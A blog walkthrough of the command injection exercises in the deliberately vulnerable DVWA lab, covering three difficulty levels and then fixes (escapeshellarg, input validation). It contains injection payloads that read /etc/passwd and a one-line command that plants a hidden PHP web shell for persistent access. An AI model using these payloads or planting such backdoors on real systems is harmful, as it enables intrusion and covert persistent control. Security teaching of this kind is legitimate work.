DVWA v1.10: Command Injection All Difficulty (Attack Phase & Securing The Code)

Juan Tirtayana
6 min readMar 22, 2020

--

https://www.pinterest.dk/pin/637822365955419321/

For this topic, I will play with some Command Injection Vulnerability with the help from DVWA with version 1.10. I will break down this topic into 2 phases (Attack & Securing The Code). Why did I open the topic with the attack phase first? because we already get the source code from the beginning (assuming this is white-box testing), I will explain what the source code does later and how to prevent the attack.

1. Attack Phase

So in the Command Injection tab, the system asks for user input and asks for an IP address to be filled in the IP Address form.

Command Injection: Low

Source Code (Low)

From the source code above you can input a random integer or any character instead of the IP Address, The system did not validate user input so that you can input anything(1). You can use any operator (meta-characters) to trick the shell into executing arbitrary commands(2)

I’m using this payload “1;cat /etc/passwd”

After the shell executes “1;” the shell will execute this cat /etc/passwd afterward, because the shell thinks it was still 1 shell command.

Command Injection: Medium

Source code (Medium)

From the source code above you can still input a random integer or any character instead of the IP Address, The system did not validate user input so that you can input anything(1). There are 2 characters that the system substituted && and ; so when you input one of these characters the system will do substitutions function and the character will be replaced as a blank in the array(2). You can use any other operator (meta-characters) to trick the shell into executing arbitrary commands(3)

I’m using this payload“1&cat /etc/passwd”

After the shell executes “1&” the shell will execute this cat /etc/passwd afterward because the shell will think when executing “1&” there is still shell command that needs to be executed and the next command the shell will be executed is cat /etc/passwd.

Command Injection: High

Source code (High)

From the source code above you can still input a random integer or any character instead of the IP Address, because the system did not validate user input, so you can input anything also the admin use a trim function so any extra space in the first array [0] and the last array[∞] will be removed (1). There are several characters that the system will substitute, so when you input one of these characters the system will do asubstitutions function and the character will be replaced as a blank in the array(2). You can only use 2 operators (meta-characters) to trick the shell into executing arbitrary commands, in this case, you can use “|” without any space after that because the system will replace the “| “ if you use extra space. And also “|| “(3)

but how? is that operator already filtered and why is it still working?

When you input “1|| cat/etc/passwd” the additional “| ” will be replaced as a blank in the array and the final payload will look like this

“1|cat/etc/passwd”

I’m using this payload“1|cat /etc/passwd”

After the shell executes “1|” the shell will execute this cat /etc/passwd afterward because the shell will think when executing “1|” there is still shell command that needs to be executed and the next command the shell will be executed is cat /etc/passwd.

Command Injection: Crafting and Planting Backdoor

Now I wanna craft and plant the backdoor so next time I can easily RCE even after the admin fix/secure the vulnerability. First craft your payload by using the echo command, you can make a .php file and write code in it using 1 line command only:

echo "<?php \$var=shell_exec(\$_GET['input']); echo \$var?>" > .backdoor.php

A little explanation here, so I’m using the variable $var to store shell_exec result from my input here $_GET[‘input’] and after that show the output using echo $var, in here I’m making the backdoor.php file hidden so when the admin check in the current directory it will show nothing by adding 1 dot in front of the file name like this “.backdoor.php”. Note: Or you can use system() function in PHP.

Now I try to upload the backdoor and see the result after submitting the payload
I try this command at my browser tab
Yep it works

Now let’s see if the admin check in the current directory using “ls -l” command:

Yep, nothing. Our backdoor is safe from detection for a while LOL.

For the Impossible difficulty, it was made for comparing source code of other difficulties like Low, Medium & High so you can say that Impossible really really Impossible since every user input already sanitized, so you must input real IP Address format. But in the source code, something is interesting from the Impossible difficulty, there is some code you must fix/secure it (Scroll to Securing The Code).

2. Securing The Code

There are 2 things you can do if you want to make this Command Injection Code a lot more secure:

1. Escaping Shell Arguments

In this case, in every source code difficulty, they are still using shell_exec() PHP function without including escapeshellarg() function in it, even the impossible one too.

As you can see, the Impossible source code still uses shell_exec() without escapeshellarg() in it, this can be a vulnerability since some meta-character not escaped when passing through the shell function.

Using escapeshellarg() so every meta-character in a string will be escaped and the string will be added a quote around it and the string can be passed directly to the shell and will be treated as a single safe argument.

Even the Lowest Difficulty is already secured now

Note: by using escapeshellarg() the Low, Medium & High Difficulty can be more secure without validation, even when the user input other than IP Address format. Example: the user input “test”.

2. Validate user input

So when looking at every source code difficulty the main purpose of the code is to ping a specific IP Address. But since the code in Low, Medium & High Difficulty did not validate user input, so every user can randomly input anything (Ex: Character and anything instead of the IP Address format itself). Therefore you must validate user input. If the user wants to input anything else instead of the IP Address format the system will decline the request and send an error message such as “You have entered an invalid IP”. So by only validating user input then every malicious input can be sanitized.

--

--

Juan Tirtayana

Senior Product Security | OSCP | eCPTXv2 | eWPTXv2 | CRTO | CRTE | CRTP | CEH